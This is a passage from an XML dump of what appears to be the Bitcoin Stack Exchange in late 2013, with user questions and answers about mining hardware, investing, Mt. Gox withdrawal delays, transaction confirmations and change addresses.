percentage would always be 100%. In real world, lots of bad stuff can prevent this from happening.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What can you do to improve that percentage? Find out why you're having rejections! You might not be receiving the longpoll notifications, either due to your Internet connection being slow or the pool being under a DDoS attack - so change your Internet provider or go to another, smaller pool. You may have set up your ASIC or graphic cards to a too-aggressive configuration, try changing the settings of your miner. And some other things I can't remember right now - there are questions and answers about that on this site.&lt;/p&gt;&#xA;" OwnerUserId="4748" LastEditorUserId="4748" LastEditDate="2013-11-20T16:34:45.430" LastActivityDate="2013-11-20T16:34:45.430" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="16862" PostTypeId="1" CreationDate="2013-11-18T20:32:58.137" Score="-1" ViewCount="496" Body="&lt;p&gt;Just as title says, I always hear about BTC lately and want to get in on it, or is it too late?&lt;/p&gt;&#xA;" OwnerUserId="8921" LastActivityDate="2013-11-19T02:01:49.963" Title="Is it as easy as buying 1BTC and leaving it in a wallet? is there anything else to &quot;Bitcoin investment&quot;?" Tags="|security|investing|" AnswerCount="3" CommentCount="1" ClosedDate="2013-11-22T08:49:52.203" ContentLicense="CC BY-SA 3.0" />
  <row Id="16864" PostTypeId="1" AcceptedAnswerId="16865" CreationDate="2013-11-18T20:45:35.083" Score="1" ViewCount="5654" Body="&lt;p&gt;Since the block erupter is useless to mine for Bitcoin now. From what I understand the only other two options would be is to mine Namecoin or Devcoin since they use SHA256 encryption. But how can I mine these? Would &lt;code&gt;cgminer&lt;/code&gt; work? or is there another app that i need to use? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also are Namecoin and Devcoin the only ones that use SHA256? &lt;/p&gt;&#xA;" OwnerUserId="3773" LastEditorUserId="5406" LastEditDate="2016-02-12T16:38:16.780" LastActivityDate="2016-02-12T16:38:16.780" Title="How can I use the USB block erupters to mine Namecoin?" Tags="|asic|cgminer|namecoin|miner-configuration|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16865" PostTypeId="2" ParentId="16864" CreationDate="2013-11-18T21:13:44.620" Score="0" Body="&lt;p&gt;In theory, you can mine any altcoin that uses double-SHA256 hashing algorithm as a proof of work with any ASIC device. The process should be similar to mining Bitcoin - you would most likely want to connect to a mining pool or solo mine in a configuration analogous to mining Bitcoin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also note that Namecoin supports merged mining, meaning that if you mine for a Bitcoin block through a pool that supports merged mining, your proof of work can still be used to create Namecoin blocks. This effectively makes you mine for both currencies with the same amount of hashing power, increasing your expected return rate by the amount of other coin mined (so instead of mining just Namecoin, you would be getting some extra BTC kickback as well for your submitted shares).&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2013-11-18T21:13:44.620" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="16866" PostTypeId="1" CreationDate="2013-11-18T21:43:16.070" Score="6" ViewCount="154" Body="&lt;p&gt;When Patrick Murck testified today at the Homeland Security Digital Currency committee, he mentioned that an identity verification feature will be added to the QT client.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is this identity verification feature, and how does it work?&lt;/p&gt;&#xA;" OwnerUserId="1878" LastActivityDate="2014-02-26T17:40:01.910" Title="What &quot;Identity Verification&quot; features will be part of the QT client?" Tags="|bitcoin-core|development|identity|bitcoin-foundation|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16867" PostTypeId="1" CreationDate="2013-11-18T22:48:13.463" Score="1" ViewCount="1062" Body="&lt;p&gt;I sent a Bitcoin transaction a few days ago and it still doesn't have any confirmations.&#xA;I actually have a ASIC miner. &#xA;Is it possible to confirm a specific transaction, in this case mine, with my miner?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="8931" LastEditorUserId="5406" LastEditDate="2016-02-12T16:34:28.480" LastActivityDate="2018-01-01T18:00:03.593" Title="Is it possible to confirm a specific transaction with your own miner?" Tags="|asic|solo-mining|unconfirmed-transactions|mining-theory|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16869" PostTypeId="2" ParentId="16862" CreationDate="2013-11-18T23:26:45.307" Score="0" Body="&lt;p&gt;Yes, investing in Bitcoin basically means buying bitcoins and holding them in your Bitcoin wallet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can still invest, it's not too late. But nobody knows if you'll lose everything or make a profit.&lt;/p&gt;&#xA;" OwnerUserId="575" LastActivityDate="2013-11-18T23:26:45.307" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16870" PostTypeId="1" AcceptedAnswerId="16871" CreationDate="2013-11-18T23:34:00.000" Score="2" ViewCount="1490" Body="&lt;p&gt;I just withdrew some BTC from Mt Gox to address 1Mvk4YAtKZAP43wEhZ6ZQrTzLZwZzPxtTJ, transaction id 3dfa979af56ff061efbceed0dd7c9dc9fd8c774249544018f6bbf646323ff03b, but didn't receive the coins and the transaction isn't in the chain.  Should I be worried?&lt;/p&gt;&#xA;" OwnerUserId="4044" LastActivityDate="2013-11-20T18:41:42.607" Title="MtGox withdrawal transaction not in blockchain" Tags="|transactions|blockchain|mtgox|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16871" PostTypeId="2" ParentId="16870" CreationDate="2013-11-18T23:57:37.327" Score="2" Body="&lt;p&gt;Unfortunately Mt.gox has tendency to delay BTC withdrawals from time to time. Happened to me couple of days ago too. I tried to withdraw 1.8 BTC to another address but the transaction didn't show up in the block chain. Eventually it did, something like 12 hours later. I heard other people have waited for days for their withdrawal to complete.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I recommend to open a ticket just in case, but realize that this is not uncommon.&#xA;Hope this helps ;) &lt;/p&gt;&#xA;" OwnerUserId="8935" LastActivityDate="2013-11-18T23:57:37.327" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16872" PostTypeId="2" ParentId="16862" CreationDate="2013-11-19T00:18:56.880" Score="2" Body="&lt;p&gt;Yes, holding them in your wallet is pretty much the thing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, remember to backup and &lt;a href=&quot;https://en.bitcoin.it/wiki/Securing_your_wallet&quot; rel=&quot;nofollow&quot;&gt;secure your wallet&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It may be hard to win the game, but it's very easy to lose it with a hard drive failure.&lt;/p&gt;&#xA;" OwnerUserId="8938" LastActivityDate="2013-11-19T00:18:56.880" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16873" PostTypeId="1" AcceptedAnswerId="16895" CreationDate="2013-11-19T01:24:19.007" Score="2" ViewCount="189" Body="&lt;p&gt;I mean, if a pizza costs $25 and a BTC is $500, the pizza store should be announcing a pizza for 0.05 BTC. However, if tomorrow the USD value of a BTC doubles or halves, that announced price for the pizza is no longer adequate.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do merchants balance this?&lt;/p&gt;&#xA;" OwnerUserId="8944" LastActivityDate="2015-06-22T11:01:07.407" Title="How can merchants accept Bitcoins while keeping it in line with the original USD value?" Tags="|merchants|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16875" PostTypeId="2" ParentId="16862" CreationDate="2013-11-19T02:01:49.963" Score="0" Body="&lt;p&gt;Would you really consider purchasing 1 BTC a valid investment? That's like purchasing 1 share of everything on the NYSE. In the end you won't earn as much as you would want to. Furthermore, you have to be a bit more interested in the success of the BTC to justify investment. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To answer the question, BTC investment is as easy as leaving 1 BTC in a wallet. The BTC will probably reach a higher value but that speculative because the entire economy is an experiment that has never been carried out in practice. This is why it is a volatile currency.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Mining is not a viable way to invest since the difficulty of successfully mining BTC has gone way up due to tech advances in hashing and BTCs increased popularity.&lt;/p&gt;&#xA;" OwnerUserId="8943" LastActivityDate="2013-11-19T02:01:49.963" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16876" PostTypeId="1" CreationDate="2013-11-19T02:08:47.850" Score="4" ViewCount="2433" Body="&lt;p&gt;I sent the following transaction a few hours ago with Bitcoin-QT:&#xA;&lt;a href=&quot;https://blockchain.info/tx/b5682b48484a8752be62c6b4036eaf8a8f005d9ea75cbff434476b7506a9e3a2&quot; rel=&quot;nofollow&quot;&gt;https://blockchain.info/tx/b5682b48484a8752be62c6b4036eaf8a8f005d9ea75cbff434476b7506a9e3a2&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And the transaction still has not been confirmed. I attached 0.0001 BTC transaction fee.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Did I lose the money? Can I do something to speed up the confirmation of the transaction?&lt;/p&gt;&#xA;" OwnerUserId="8947" LastEditorUserId="5406" LastEditDate="2013-11-19T09:08:20.127" LastActivityDate="2017-12-08T13:36:51.120" Title="Bitcoin transaction with 0.0001 BTC fee not getting confirmed?" Tags="|transactions|bitcoin-core|transaction-fees|confirmations|unconfirmed-transactions|" AnswerCount="1" CommentCount="3" ClosedDate="2017-12-09T15:28:14.513" ContentLicense="CC BY-SA 3.0" />
  <row Id="16882" PostTypeId="1" CreationDate="2013-11-19T03:49:14.763" Score="9" ViewCount="2196" Body="&lt;p&gt;From the &lt;a href=&quot;https://en.bitcoin.it/wiki/FAQ#How_are_new_bitcoins_created.3F&quot;&gt;FAQ &lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Creating a block is a proof of work with a difficulty that varies with the overall strength of the network.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;So with &lt;a href=&quot;http://bitcoin.sipa.be/&quot;&gt;these purty graphs&lt;/a&gt; there is a continuous exponential trend in increasing difficulty due to the combined total of network's computation strength.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is, now that the difficulty is shooting up like a rocket this year, why bother investing in any type of miner hardware?  Feels like the difference between buying $100 worth of lottery tickets and buying just $1.  The odds of winning the lottery are so low that buying $100 still leaves you with very low odds and you out of that much more cash.&lt;/p&gt;&#xA;" OwnerUserId="8956" LastEditorUserId="5406" LastEditDate="2016-02-12T16:33:53.770" LastActivityDate="2016-02-12T16:33:53.770" Title="Why invest in mining hardware if the difficulty continues to climb at an exponential rate?" Tags="|difficulty|mining-profitability|mining-hardware|" AnswerCount="4" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16883" PostTypeId="1" AcceptedAnswerId="16888" CreationDate="2013-11-19T03:57:10.610" Score="-2" ViewCount="2827" Body="&lt;p&gt;I have downloaded bitcoin-qt and it has downloaded what I understand to be the blockchain: blk0001.dat and one or two other files in the .bitcoin folder in my home directory.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If this is the blockchain, can I point cgminer (or some other mining program) at one of these files and have it mine from there?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If so, how?&lt;/p&gt;&#xA;" OwnerUserId="8958" LastEditorUserId="5406" LastEditDate="2016-04-28T14:39:25.787" LastActivityDate="2016-04-28T14:39:25.787" Title="Mining my own blockchain?" Tags="|miner-configuration|cgminer|solo-mining|" AnswerCount="1" CommentCount="1" ClosedDate="2016-04-29T05:43:01.557" ContentLicense="CC BY-SA 3.0" />
  <row Id="16885" PostTypeId="1" CreationDate="2013-11-19T05:31:41.650" Score="2" ViewCount="923" Body="&lt;p&gt;I'm doing my IB math SL internal assessment on bitcoins. We have to incorporate a lot of math into a 6-12 page essay on our topic. &lt;strong&gt;What parts of Bitcoin involve or can be modeled by mathematics, such as calculus/probability/statistics?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm hoping to find at least a few equations I can discuss in my writings. I'm fairly good with math, but I'm not a complete expert, so if you would take that in to consideration with your answers that would be great! :) Thanks!&lt;/p&gt;&#xA;" OwnerUserId="8964" LastEditorUserId="18196" LastEditDate="2016-04-28T16:33:38.743" LastActivityDate="2016-04-28T23:06:52.863" Title="Mathematical areas of research within the Bitcoin field?" Tags="|mining-theory|hashpower|" AnswerCount="2" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16886" PostTypeId="2" ParentId="16882" CreationDate="2013-11-19T05:45:46.597" Score="7" Body="&lt;p&gt;The mining difficulty is going up very fast. You are correct. But the mining industry is also stimulating the Bitcoin economy significantly. See this news story, for instance: &lt;a href=&quot;http://www.coindesk.com/kncminer-sells-3m-bitcoin-mining-equipment-four-days/&quot; rel=&quot;nofollow noreferrer&quot;&gt;KnCminer sells $3M of bitcoin mining equipment in 4 days&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My best answer to your chart is another chart: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/heXIG.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;From: &lt;a href=&quot;https://blockchain.info/charts/miners-revenue&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://blockchain.info/charts/miners-revenue&lt;/a&gt;&lt;/em&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even with the &lt;a href=&quot;https://blockchain.info/charts/difficulty&quot; rel=&quot;nofollow noreferrer&quot;&gt;bitcoin difficulty&lt;/a&gt; skyrocketing and the &lt;a href=&quot;https://blockchain.info/charts/hash-rate&quot; rel=&quot;nofollow noreferrer&quot;&gt;hash rate&lt;/a&gt; of the network steadily climbing, the math says it all. &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;(number of bitcoins mined per day + transaction fees) * market price&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Now mining at that scale is not for everyone, that is where hashing data centers come in to the picture.  If someone wants to mine some of this currency but cannot afford to buy the expensive gear that is required to keep pace with all of these numbers, cloud services will allow little guys to play ball at whatever prices they can afford to pay.&lt;/p&gt;&#xA;" OwnerUserId="6256" LastEditorUserId="5290" LastEditDate="2013-11-20T19:24:14.077" LastActivityDate="2013-11-20T19:24:14.077" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16887" PostTypeId="1" CreationDate="2013-11-19T06:08:19.927" Score="0" ViewCount="3470" Body="&lt;p&gt;I heard about many use: Bitcents, Bitmills (or Bitmilles)&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;1.02 - One bitcoin and two bitcents&lt;br&gt;&#xA;  0.001 - One millibitcoin (nickname &quot;one Millie&quot;)&lt;br&gt;&#xA;  0.000001 - One microbitcoin (nickname &quot;one Mike&quot;)&lt;br&gt;&#xA;  0.00000001 - The bitcoin base unit (nickname &quot;one Satoshi&quot;)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;millicoins, microcoins, and nanocoins&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Which are the official naming conventions and should Bitcoin be capitalized when you are referring to the unit?&lt;/p&gt;&#xA;" OwnerUserId="3236" LastEditorUserId="5406" LastEditDate="2014-05-02T17:17:17.937" LastActivityDate="2023-08-28T14:26:21.657" Title="Naming convention: MilliBit or Millibitcoins (mBTC), microbitcoin or Mikrobitcoins (μBTC)?" Tags="|terminology|satoshi|divisibility|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="16888" PostTypeId="2" ParentId="16883" CreationDate="2013-11-19T06:08:35.803" Score="1" Body="&lt;p&gt;If you want to run the bitcoin-qt client and solo mine using cgminer you can do that you need to enable server mode and create an RPC username and password in your bitcoin.conf file.  This information will be fed to cgminer to connect to your local machine to do your mining.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However I do recommend that before you attempt to solo mine that you read a couple things.  First of all here is a list of pro's and con's of solo mining vs pooled mining.  &lt;a href=&quot;https://en.bitcoin.it/wiki/Pool_vs._solo_mining&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Pool_vs._solo_mining&lt;/a&gt;  Secondly once you figure out what kind of hashing rates you can get from the equipment you are mining with and plug them into a Bitcoin mining calculator to see what your expected earnings are. I encourage you at this point to look at some &lt;a href=&quot;https://bitcointalk.org/index.php?board=41.0&quot; rel=&quot;nofollow&quot;&gt;mining pools&lt;/a&gt; because you can earn a much steadier amount over a longer period of time.   &lt;/p&gt;&#xA;" OwnerUserId="6256" LastEditorUserId="6256" LastEditDate="2013-11-25T23:25:17.610" LastActivityDate="2013-11-25T23:25:17.610" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16889" PostTypeId="1" CreationDate="2013-11-19T06:51:37.410" Score="0" ViewCount="5689" Body="&lt;p&gt;I found a web site where you can win bitcoins, freebitco.in. How do they work? Do they use &lt;a href=&quot;http://en.wikipedia.org/wiki/JavaScript&quot; rel=&quot;nofollow&quot;&gt;JavaScript&lt;/a&gt; to mine for bitcoins on your client?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And when do you get the mBTC you win there?&lt;/p&gt;&#xA;" OwnerUserId="3236" LastEditorUserId="1405" LastEditDate="2014-01-04T20:51:34.460" LastActivityDate="2014-01-04T20:51:34.460" Title="When does freebitco.in cash out?" Tags="|websites|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16891" PostTypeId="2" ParentId="4020" CreationDate="2013-11-19T06:57:40.703" Score="1" Body="&lt;p&gt;In my case, the first time running bitcoin-qt on Kubuntu Linux 12.04, on an X86_64 machine, synchronising the block chain is consuming 3.57 GB of RAM @ about %75 complete, but only using about %20 average CPU on a Phenom 9950. I had to start shutting down a few services (apache, mysql, etc...) because the swap partitions where getting hit quite heavily and causing my GUI to freeze up for long periods. &lt;/p&gt;&#xA;" OwnerUserId="8965" LastActivityDate="2013-11-19T06:57:40.703" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16892" PostTypeId="2" ParentId="16885" CreationDate="2013-11-19T07:10:41.763" Score="1" Body="&lt;p&gt;You could approach bitcoin and maths under many and different aspects. &#xA;You could talk about cryptography (hash function, elliptic curve digital signature,...) or about the economy. &#xA;You could talk about probability (mining, solo vs pool,...). &lt;/p&gt;&#xA;" OwnerUserId="6226" LastActivityDate="2013-11-19T07:10:41.763" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16893" PostTypeId="2" ParentId="16640" CreationDate="2013-11-19T08:31:38.847" Score="0" Body="&lt;p&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/questions/16862/is-it-as-easy-as-buying-1btc-and-leaving-it-in-a-wallet-is-there-anything-else&quot;&gt;This is a prime example&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;People who don't know anything at all about Bitcoins, just heard of their price going higher and higher, and are thinking &quot;hey, maybe I should buy some&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And they are probably right... for a while. Until someone ends up being the last one to buy at the highest price before the bubble bursts.&lt;/p&gt;&#xA;" OwnerUserId="1311" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:32.940" LastActivityDate="2013-11-19T08:31:38.847" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16894" PostTypeId="2" ParentId="16867" CreationDate="2013-11-19T09:28:08.843" Score="1" Body="&lt;p&gt;You could try to confirm it by mining a block in which you explicitly include said transaction. However, unless you have very powerful mining hardware, it is highly unlikely that you will succeed any time soon to solo-mine a block.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could either try to double-spend the outputs you used to fund that transaction and for the second one include the correct fee, or just wait until the transaction's priority has risen sufficiently that it will be processed eventually.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastActivityDate="2013-11-19T09:28:08.843" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16895" PostTypeId="2" ParentId="16873" CreationDate="2013-11-19T09:33:54.743" Score="3" Body="&lt;p&gt;Until Bitcoin stabilizes sufficiently, prices will be listed in local currency and be payable in an equivalent amount of Bitcoin, or if prices will be listed in Bitcoin, this price will have to be constantly updated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I.e. price would be listed in USD and the amount of XBT due would be calculated just before the bill.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastActivityDate="2013-11-19T09:33:54.743" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16896" PostTypeId="1" AcceptedAnswerId="17058" CreationDate="2013-11-19T10:40:29.827" Score="3" ViewCount="332" Body="&lt;p&gt;An N-of-M multisignature Transaction requires to be signed by N addresses to be a valid transaction. I would like to know whether the Bitcoin Protocol would transmit a Transaction with less than N signatures through the Network in order for it to reach the other parties holding the remaining addresses, or would it be rejected?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem essentially boils down to whether one can reliably use the Bitcoin Network to initiate N-of-M Transactions and let them reach the other parties on their Clients, or would the Transaction need to be transmitted outside of the Network first, signed by the N addresses, and only then broadcast through the Network?&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2013-11-22T05:31:10.877" Title="Is a multisignature transaction propagated through the Network before it accumulates enough signatures?" Tags="|network|multi-signature|data-security|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16898" PostTypeId="2" ParentId="16889" CreationDate="2013-11-19T12:58:35.307" Score="1" Body="&lt;p&gt;According to the website, if you click on &quot;Auto Withdraw Enabled&quot;, you see:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;Payments are automatically sent every Monday to all accounts with a balance greater than 0.00005460 BTC&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, yesterday I received my most recent payment around 1 AM on Tuesday EST.  They send the BTC with a note saying:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/bqeek.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;They state that it can take a while to get the payment approved.  From my experience with the site, I find they are pretty reliable.  They basically only check to make sure you didn't try to cheat somehow with referral exploitation or programs trying to modify the gambling feature they have.&lt;/p&gt;&#xA;" OwnerUserId="8976" LastActivityDate="2013-11-19T12:58:35.307" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16899" PostTypeId="2" ParentId="16876" CreationDate="2013-11-19T13:18:05.967" Score="1" Body="&lt;p&gt;There is a time limit for transmission by most clients. I think Bitcoin-qt used 3 days. After that you can spend it again&lt;/p&gt;&#xA;" OwnerUserId="4708" LastActivityDate="2013-11-19T13:18:05.967" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16900" PostTypeId="1" CreationDate="2013-11-19T13:34:46.770" Score="0" ViewCount="281" Body="&lt;p&gt;I find a lot of references to it, ruby-wrappers etc., but where can one find actual documentation for the MtGox API?&lt;/p&gt;&#xA;" OwnerUserId="524" LastEditorUserId="5406" LastEditDate="2013-11-19T22:01:35.407" LastActivityDate="2013-11-19T23:42:42.733" Title="Where does one find documentation for the MtGox trade API?" Tags="|mtgox|api|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16901" PostTypeId="2" ParentId="16900" CreationDate="2013-11-19T14:42:59.933" Score="1" Body="&lt;p&gt;Here is their &lt;a href=&quot;https://en.bitcoin.it/wiki/MtGox/API/HTTP/v2&quot; rel=&quot;nofollow&quot;&gt;documentation&lt;/a&gt; for their http based api and here is their &lt;a href=&quot;https://en.bitcoin.it/wiki/MtGox/API/Streaming&quot; rel=&quot;nofollow&quot;&gt;documentation&lt;/a&gt; for the websockets based one. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are many wrappers in many languages already written.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/sferik/mtgox&quot; rel=&quot;nofollow&quot;&gt;Ruby&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://npmjs.org/package/mtgox&quot; rel=&quot;nofollow&quot;&gt;Node.js&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/goncalopp/python-mtgox&quot; rel=&quot;nofollow&quot;&gt;Python&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;just to name a few&lt;/p&gt;&#xA;" OwnerUserId="4241" LastEditorUserId="4241" LastEditDate="2013-11-19T23:42:42.733" LastActivityDate="2013-11-19T23:42:42.733" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16903" PostTypeId="1" CreationDate="2013-11-19T15:22:41.497" Score="1" ViewCount="6175" Body="&lt;p&gt;My company has an employee stock purchase plan with etrade.com, but as I'm in Europe, I thought I could sell the stocks and save the bank transfer fees by using bitcoins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can sell the stocks online on NASDAQ though, but even to just place the order they ask for an bank account. So I either have to transfer to EU, paying the fee, or to an US account. As I don't have one, could I simply transfer directly to an Bitcoin exchange?&lt;/p&gt;&#xA;" OwnerUserId="2324" LastEditorUserId="132" LastEditDate="2014-01-13T14:50:55.353" LastActivityDate="2014-01-13T14:50:55.353" Title="How to cash out E*Trade stocks (transfer funds from US to the EU) with Bitcoins?" Tags="|exchanges|banks|usa|europe|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16904" PostTypeId="2" ParentId="16873" CreationDate="2013-11-19T15:23:39.200" Score="1" Body="&lt;p&gt;You could use &lt;a href=&quot;https://coinbase.com/docs/merchant_tools/payment_pages&quot; rel=&quot;nofollow&quot;&gt;coinbase merchant tools&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="4241" LastActivityDate="2013-11-19T15:23:39.200" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16907" PostTypeId="2" ParentId="16903" CreationDate="2013-11-19T17:31:34.320" Score="-1" Body="&lt;p&gt;find someone that is interested in your stack, probably a bitcoin american tourist in europe, or someone that is in trading back and foward to europe&lt;/p&gt;&#xA;" OwnerUserId="8984" LastActivityDate="2013-11-19T17:31:34.320" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16909" PostTypeId="2" ParentId="8942" CreationDate="2013-11-19T18:23:17.047" Score="0" Body="&lt;p&gt;If you are asking about trading on an exchange, then the exchange software matches up buyers and sellers.  Since you are a buyer, it matches you up with someone that wants to sell (or potentially several sellers that add up to what you want to buy).  The sellers get the money (and usually a small part of it goes to the exchange itself)&lt;/p&gt;&#xA;" OwnerUserId="4708" LastActivityDate="2013-11-19T18:23:17.047" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16912" PostTypeId="2" ParentId="181" CreationDate="2013-11-19T18:51:18.460" Score="-1" Body="&lt;p&gt;Only Physical Bitcoins can be Counterfeited currently . It would be extremely expensive to counterfeit a Virtual coin .&lt;/p&gt;&#xA;" OwnerUserId="8992" LastActivityDate="2013-11-19T18:51:18.460" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16913" PostTypeId="1" AcceptedAnswerId="16914" CreationDate="2013-11-19T19:02:09.827" Score="1" ViewCount="9207" Body="&lt;p&gt;How can i see all my BitCoin addresses?&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Background&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;If i send a payment to someone (e.g. &lt;code&gt;0.35 BTC&lt;/code&gt;), the BitCoin protocol is unable to send just &lt;code&gt;0.35 BTC&lt;/code&gt; to someone. For example, if i own &lt;code&gt;1 BTC&lt;/code&gt;, and want to spend &lt;code&gt;0.35 BTC&lt;/code&gt;, then a transaction is created so send my entire &lt;code&gt;1 BTC&lt;/code&gt; to two different people:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;0.35 BTC to [destination addresses]&lt;/li&gt;&#xA;&lt;li&gt;remaining 0.65 BTC to [an new randomly generated address that i own]&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;This was horribly confusing thing to me, and nearly everyone else. Most people assume that if they backup their public and private key, that they have backed up their wallet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfortunately, you do not have just the one address that appears in BitCoin-qt, you own &lt;strong&gt;&lt;em&gt;n&lt;/em&gt;&lt;/strong&gt; secret addresses, that are not visible in your wallet.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;A Concrete Example&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Lets take &lt;a href=&quot;https://blockchain.info/tx/27f8fbbcaa5ce61e90f220f35c245f62c4366eeb8a292e02449f8703b6803fb1&quot; rel=&quot;nofollow&quot;&gt;a real transaction from the blockchain&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Source Address&lt;br&gt;&#xA; &lt;code&gt;18888888PPJ8oGeqR6AKmoiKUme9da48Xf&lt;/code&gt;: 2.3899 BTC&lt;/li&gt;&#xA;&lt;li&gt;Destination Addresses&lt;br&gt;&#xA; &lt;code&gt;1FvLq2vz7neRJeLk1uXGjg1Jk8FCiaHnwk&lt;/code&gt;: 2 BTC&lt;br&gt;&#xA; &lt;code&gt;18888888PPJ8oGeqR6AKmoiKUme9da48Xf&lt;/code&gt;: 0.3898 BTC&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Out there is a guy who owns address &lt;a href=&quot;https://blockchain.info/address/18888888PPJ8oGeqR6AKmoiKUme9da48Xf&quot; 